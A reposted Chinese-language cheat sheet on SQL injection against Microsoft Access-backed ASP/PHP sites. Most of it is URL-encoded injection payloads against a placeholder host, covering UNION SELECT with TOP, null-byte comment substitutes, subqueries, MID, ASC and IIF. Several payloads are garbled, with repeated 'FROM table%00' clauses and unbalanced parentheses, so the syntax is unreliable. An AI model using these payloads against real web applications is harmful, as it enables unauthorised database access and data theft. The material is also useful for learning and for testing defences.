注:本篇文章内容转自http://www.teagle.top/index.php/archives/147/

1.简介

Microsoft Office Access是由微软发布的关系数据库管理系统

Access没有库这个概念 只有表这个概念

一般Access数据库用于
asp、aspx**脚本网站比较多一些

MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认**不允许访问这些表

2. 报错信息

不同的web平台,Access数据库在报错时会显示不同的报错信息。如下是两个例子

Apache(PHP)

Fatal error: Uncaught execption ‘com_exception’ with message ‘Source:Microsoft JET Database Engine Description: […]

IIS(ASP)
Microsoft JET Database Engine error’80040e14’

3. 注释

Access数据库没有注释符, 但是可以用%00代替注释
开启magic_quotes时,%00无效,用%16代替

4. UNION操作符

Access注入是暴力猜解,因为Access用联合语句显示可显字段,必须先进行猜解
Access支持Union,但是表名事先要知道
**

5. 堆查询(Stacked Query)

Access数据库不支持这种方式,可以忽略它

6. LIMIT效果

Access数据库不支持LIMIT,但是可以用TOP和LAST
**
http://xxx?id=1’+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00
上面这个例子,将会返回查询结果集里面的前三行,同样用LAST就是返回后三行

7. 子查询

ACCESS数据库支持子查询。例如下面这个例子,使用了TOP 1来仅仅返回一条记录
http://xxx?id=1’+AND+(SELECT+TOP+1+’domeData’+FROM+table)%00%00)

8. 硬编码查询 返回0行

某些情况下,我们只要UNION SELECT查询的结果时,我们可以使用硬编码查询来使前面的查询返回0条结果
一个常见的技巧如下:
http://xxx?id=1’+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00

9. 字符串连接

我们可以使用&(%26)+(%2b)这两个字符来进行字符串的连接

当我们在HTTP请求中注入这两个字符时,需要被适当的编码

http://xxx?id=1’+UNION+SELECT+’web’+%2b+’app’+FROM+table%00
http://xxx?id=1’+UNION+SELECT+’web’+%26+’app’+FROM+table%00
这两个查询均返回字符串webapp

10. 子字符串

操作符MID可以用来提取母字符串中一部分特定的子字符串

http://xxx?id=1’+UNION+SELECT+MID(‘abcd’,1,1)+FROM+table%00+FROM+table%00)
上面这条查询将会返回字符
a

http://xxx?id=1’+UNION+SELECT+MID(‘abcd’,2,1)+FROM+table%00+FROM+table%00)
上面这条查询将会返回字符b

11. 字符的ASCII值

ASC操作符可以返回参数中字符对应的ASCII值:

http://xxx?id=1’+UNION+SELECT+ASC(‘A’)+FROM+table%00+FROM+table%00)
上面这条查询将会返回65, 这是字符A对应的ASCII值

12. IF THEN条件语句

IIF操作符可以被用来创建”if-then”条件语句。语法:
IIF(condition,true,false)

http://xxx?id=1’+UNION+SELECT+IIF(1=1,’a’,’b’)+FROM+table%00+FROM+table%00)
上面这个查询将会返回a,因为1=1永远是正确的